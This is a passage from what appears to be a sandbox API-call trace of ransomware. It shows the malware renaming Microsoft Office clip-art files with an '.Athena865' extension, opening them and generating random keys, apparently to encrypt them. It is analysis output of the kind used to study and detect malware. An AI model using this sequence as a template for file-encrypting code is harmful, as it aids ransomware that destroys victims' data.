office\\clipart\\pub60cor\\ph02754u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.757] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=108504) returned 1 [0133.757] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.758] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.758] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.763] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.763] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.763] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.765] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02755U.BMP" | out: lpString1="PH02755U.BMP") returned="PH02755U.BMP" [0133.765] lstrlenW (lpString="PH02755U.BMP") returned 12 [0133.765] lstrlenW (lpString="Athena865") returned 9 [0133.765] lstrcmpiW (lpString1="2755U.BMP", lpString2="Athena865") returned -1 [0133.765] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP.Athena865") returned 73 [0133.765] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.767] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=108504) returned 1 [0133.767] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.767] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.767] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.773] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.773] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.773] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.775] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02756U.BMP" | out: lpString1="PH02756U.BMP") returned="PH02756U.BMP" [0133.775] lstrlenW (lpString="PH02756U.BMP") returned 12 [0133.775] lstrlenW (lpString="Athena865") returned 9 [0133.775] lstrcmpiW (lpString1="2756U.BMP", lpString2="Athena865") returned -1 [0133.775] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP.Athena865") returned 73 [0133.775] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.777] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=197640) returned 1 [0133.777] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.778] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.778] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.786] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.787] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.787] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.790] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02757U.BMP" | out: lpString1="PH02757U.BMP") returned="PH02757U.BMP" [0133.790] lstrlenW (lpString="PH02757U.BMP") returned 12 [0133.790] lstrlenW (lpString="Athena865") returned 9 [0133.790] lstrcmpiW (lpString1="2757U.BMP", lpString2="Athena865") returned -1 [0133.790] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP.Athena865") returned 73 [0133.790] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.791] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=197640) returned 1 [0133.792] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.792] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.792] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.804] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02758U.BMP" | out: lpString1="PH02758U.BMP") returned="PH02758U.BMP" [0133.804] lstrlenW (lpString="PH02758U.BMP") returned 12 [0133.804] lstrlenW (lpString="Athena865") returned 9 [0133.804] lstrcmpiW (lpString1="2758U.BMP", lpString2="Athena865") returned -1 [0133.804] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP.Athena865") returned 73 [0133.804] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.806] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=198648) returned 1 [0133.817] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02759J.JPG" | out: lpString1="PH02759J.JPG") returned="PH02759J.JPG" [0133.817] lstrlenW (lpString="PH02759J.JPG") returned 12 [0133.817] lstrlenW (lpString="Athena865") returned 9 [0133.817] lstrcmpiW (lpString1="2759J.JPG", lpString2="Athena865") returned -1 [0133.817] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG.Athena865") returned 73 [0133.817] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg.athena865"), dwFlags=0x1) returned 1 [0133.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02759J.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02759j.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.819] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=41170) returned 1 [0133.823] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02810J.JPG" | out: lpString1="PH02810J.JPG") returned="PH02810J.JPG" [0133.823] lstrlenW (lpString="PH02810J.JPG") returned 12 [0133.823] lstrlenW (lpString="Athena865") returned 9 [0133.823] lstrcmpiW (lpString1="2810J.JPG", lpString2="Athena865") returned -1 [0133.823] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG.Athena865") returned 73 [0133.823] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg.athena865"), dwFlags=0x1) returned 1 [0133.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.825] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=50647) returned 1 [0133.830] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02829J.JPG" | out: lpString1="PH02829J.JPG") returned="PH02829J.JPG" [0133.830] lstrlenW (lpString="PH02829J.JPG") returned 12 [0133.830] lstrlenW (lpString="Athena865") returned 9 [0133.830] lstrcmpiW (lpString1="2829J.JPG", lpString2="Athena865") returned -1 [0133.830] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG.Athena865") returned 73 [0133.830] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg.athena865"), dwFlags=0x1) returned 1 [0133.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02829J.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02829j.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.831] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=62520) returned 1 [0133.839] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02845G.GIF" | out: lpString1="PH02845G.GIF") returned="PH02845G.GIF" [0133.839] lstrlenW (lpString="PH02845G.GIF") returned 12 [0133.839] lstrlenW (lpString="Athena865") returned 9 [0133.839] lstrcmpiW (lpString1="2845G.GIF", lpString2="Athena865") returned -1 [0133.839] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF.Athena865") returned 73 [0133.839] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif.athena865"), dwFlags=0x1) returned 1 [0133.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02845G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02845g.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.841] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12530) returned 1 [0133.844] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02897J.JPG" | out: lpString1="PH02897J.JPG") returned="PH02897J.JPG" [0133.844] lstrlenW (lpString="PH02897J.JPG") returned 12 [0133.844] lstrlenW (lpString="Athena865") returned 9 [0133.844] lstrcmpiW (lpString1="2897J.JPG", lpString2="Athena865") returned -1 [0133.844] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG.Athena865") returned 73 [0133.844] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg.athena865"), dwFlags=0x1) returned 1 [0133.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02897J.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02897j.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.846] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15429) returned 1 [0133.849] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH03011U.BMP" | out: lpString1="PH03011U.BMP") returned="PH03011U.BMP" [0133.849] lstrlenW (lpString="PH03011U.BMP") returned 12 [0133.849] lstrlenW (lpString="Athena865") returned 9 [0133.849] lstrcmpiW (lpString1="3011U.BMP", lpString2="Athena865") returned -1 [0133.849] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP.Athena865") returned 73 [0133.849] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.851] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15478) returned 1 [0133.854] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH03012U.BMP" | out: lpString1="PH03012U.BMP") returned="PH03012U.BMP" [0133.854] lstrlenW (lpString="PH03012U.BMP") returned 12 [0133.854] lstrlenW (lpString="Athena865") returned 9 [0133.854] lstrcmpiW (lpString1="3012U.BMP", lpString2="Athena865") returned -1 [0133.854] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP.Athena865") returned 73 [0133.854] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.855] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4118) returned 1 [0133.858] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH03014_.GIF" | out: lpString1="PH03014_.GIF") returned="PH03014_.GIF" [0133.858] lstrlenW (lpString="PH03014_.GIF") returned 12 [0133.858] lstrlenW (lpString="Athena865") returned 9 [0133.858] lstrcmpiW (lpString1="3014_.GIF", lpString2="Athena865") returned -1 [0133.858] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF.Athena865") returned 73 [0133.859] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif.athena865"), dwFlags=0x1) returned 1 [0133.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.860] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18898) returned 1 [0133.863] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH03041I.JPG" | out: lpString1="PH03041I.JPG") returned="PH03041I.JPG" [0133.863] lstrlenW (lpString="PH03041I.JPG") returned 12 [0133.863] lstrlenW (lpString="Athena865") returned 9 [0133.863] lstrcmpiW (lpString1="3041I.JPG", lpString2="Athena865") returned -1 [0133.863] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG.Athena865") returned 73 [0133.863] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg.athena865"), dwFlags=0x1) returned 1 [0133.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.865] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30895) returned 1 [0133.874] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH03143I.JPG" | out: lpString1="PH03143I.JPG") returned="PH03143I.JPG" [0133.874] lstrlenW (lpString="PH03143I.JPG") returned 12 [0133.874] lstrlenW (lpString="Athena865") returned 9 [0133.874] lstrcmpiW (lpString1="3143I.JPG", lpString2="Athena865") returned -1 [0133.874] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG.Athena865") returned 73 [0133.874] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg.athena865"), dwFlags=0x1) returned 1 [0133.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.875] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=29776) returned 1 [0133.878] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH03205I.JPG" | out: lpString1="PH03205I.JPG") returned="PH03205I.JPG" [0133.878] lstrlenW (lpString="PH03205I.JPG") returned 12 [0133.878] lstrlenW (lpString="Athena865") returned 9 [0133.878] lstrcmpiW (lpString1="3205I.JPG", lpString2="Athena865") returned -1 [0133.879] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG.Athena865") returned 73 [0133.879] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg.athena865"), dwFlags=0x1) returned 1 [0133.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.880] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=41795) returned 1 [0133.885] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH03224I.JPG" | out: lpString1="PH03224I.JPG") returned="PH03224I.JPG" [0133.885] lstrlenW (lpString="PH03224I.JPG") returned 12 [0133.885] lstrlenW (lpString="Athena865") returned 9 [0133.885] lstrcmpiW (lpString1="3224I.JPG", lpString2="Athena865") returned -1 [0133.885] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG.Athena865") returned 73 [0133.885] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg.athena865"), dwFlags=0x1) returned 1 [0133.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.886] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=42053) returned 1 [0133.890] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH03379I.JPG" | out: lpString1="PH03379I.JPG") returned="PH03379I.JPG" [0133.890] lstrlenW (lpString="PH03379I.JPG") returned 12 [0133.890] lstrlenW (lpString="Athena865") returned 9 [0133.890] lstrcmpiW (lpString1="3379I.JPG", lpString2="Athena865") returned -1 [0133.890] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG.Athena865") returned 73 [0133.890] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg.athena865"), dwFlags=0x1) returned 1 [0133.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 